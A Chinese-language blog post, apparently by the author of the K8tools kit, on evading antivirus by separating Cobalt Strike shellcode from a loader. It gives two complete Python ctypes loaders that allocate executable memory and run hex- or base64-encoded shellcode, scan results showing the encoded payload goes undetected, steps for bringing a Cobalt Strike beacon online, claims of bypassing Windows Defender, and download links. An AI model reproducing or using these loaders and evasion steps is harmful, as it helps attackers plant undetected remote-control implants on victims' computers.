0x001 原理
采用分離法,即將ShellCode和加載器分離。方法較LOW但免殺。
本文主要將ShellCode轉成HEX,再通過加載器執行ShellCode。
PS: 何為SC加載器,即專門用於加載所提供ShellCode的工具。
如同HTTP發包工具,支持提交HTTP,寫死參數最多只能叫EXP。
再詳細點,打個比方,你只會炒一個菜,你敢說你是廚師嗎?
0x002 ShellCode免殺
CS可生成很多種格式的ShellCode,具體該用哪一種呢?
由於部分殺軟會查殺ShellCode文件,所以不能直接使用RAW。
其實不用測都知道HEX字串肯定比RAW或標准C格式安全。
因為RAW和標准C格式一直以來都比較常用,被殺一點都不奇怪。
當然實際上使用任意格式都可以,前提是需要加解密。
下面我們拿CS3.13的ShellCode來做個對比,結果如下
CS生成Raw格式的ShellCode被7個殺軟查殺(payload.bin)
http://r.virscan.org/language/zh-cn/report/a24430ec84bdb3dd3ee0b7a1aa501635
將CS的ShellCode轉成Hex無一殺軟查殺(hex.txt)
http://r.virscan.org/language/zh-cn/report/fe7412921c7acc9d69b0da72793cd57d
0x003 加載器
以python為例,這個無腦的語言開發比較快。要使用其它加解密算法也非常簡單
缺點就是文件有點大而已,不過問題不大,畢竟在免殺面前2M也是能接受的哈哈。
其它語言也同理啊,大家不要糾結用什么語言來寫工具。用PY只是便於大家理解
ScRunHex.py
#scrun by k8gege import ctypes import sys #calc.exe #sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4" shellcode=bytearray(sys.argv[1].decode("hex")) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
下面以前寫的加載器,GUI的專門用於本地測試ShellCode是否正常用的,在測試漏洞的時候,
首先先保證你的ShellCode是可運行的吧,要不然漏洞沒問題,馬沒上線,你說漏洞不行就亂來了。
除了PY和C#以外,VC、Delphi、VB的SC加載都有寫過,Delphi版的在博客里就能找到例子。
0x004 實戰CS上線
一、Hex ShellCode
1.首先使用CS生成標准C格式的payload,格式(\xfc\xe8\x89\x00)在飛刀里我定義為Char格式
2.因為CS沒有直接生成HEX格式的功能,所以需要使用K8飛刀將其轉換成HEX格式。
具體步驟:選中Char格式的Shellcode,右鍵-Hacking--ShellCode--Char2Hex
其它溢出漏洞使用的ShellCode格式,均可使用飛刀進行轉換或反轉成標准格式
3.使用scrun.exe加載Hex格式的ShellCode,發現我們的CS上線了。
如果我沒記錯此方式目前也還能過Win10系統自帶的Defender
不知大家有沒發現Hex字符串除了不被殺以外,還無需落地
而Bin文件需要落地且被Defender殺(這個我肯定沒有記錯)
二、Base64(Hex) ShellCode
當然我們還可以對其進一步加密,先將Char轉成Hex,再將HEX加密轉成Base64,加密方法同上。
ScRunBase64.py 執行Base64格式ShellCode代碼如下
#scrun by k8gege import ctypes import sys import base64 #calc.exe #REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA== shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex")) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
0x005 下載
https://github.com/k8gege/scrun
https://github.com/k8gege/K8tools/blob/master/scrun.exe
https://github.com/k8gege/K8tools/blob/master/scrun.py
PS:網上有些文章把aspx加載shellcode稱為分離Payload,難道只有EXE才叫Payload?
那么SQL注入時的SQL語句為什么叫Payload?遠程代碼執行的代碼為什么叫Payload?
溢出漏洞的ShellCode為什么叫Payload? ShellCode寫死在加載器里的顯然不叫分離。
此時的加載器已經不叫加載器了,正如HTTP發包工具,支持任意HTTP發包。
但是把參數寫死的HTTP發包,為什么只是叫XX利用工具,而不是叫發包工具。
同理,ShellCode加載器專門用於加載各類ShellCode的才叫加載器。
其實以前也寫過VC版的加載器,只是方法較LOW,需要多一個文件或傳參執行不適合發馬
發馬又得想方設法將其捆綁成一個文件,捆綁可能還會被殺,VC被殺得比較歷害。
ShellCode加密分離后,因為最終執行需解必,拼按時就被殺了,都還沒得加載。
所以從未打算使用這種LOW方法免殺,一般是沒能力做單文件免殺才需要分離。
而不是現在一些人認為所謂高級新的免殺方法,這種小兒科,在剛接觸這行時就會了
看看07-12年那會,捆綁還多么流行,木馬切割成多文件合並免殺的思路會沒人想到?
現在是因為捆綁可能導致更容易被殺,沒辦法才被迫使用分離,畢竟能一文件誰願多文件
當然單文件我也可以做,只是費點時間,懶得做而已。相關APT文章里就很多方法
基本都是白名單加載DLL,DLL釋放各種加密文件,再解密執行,最終加載CS而已。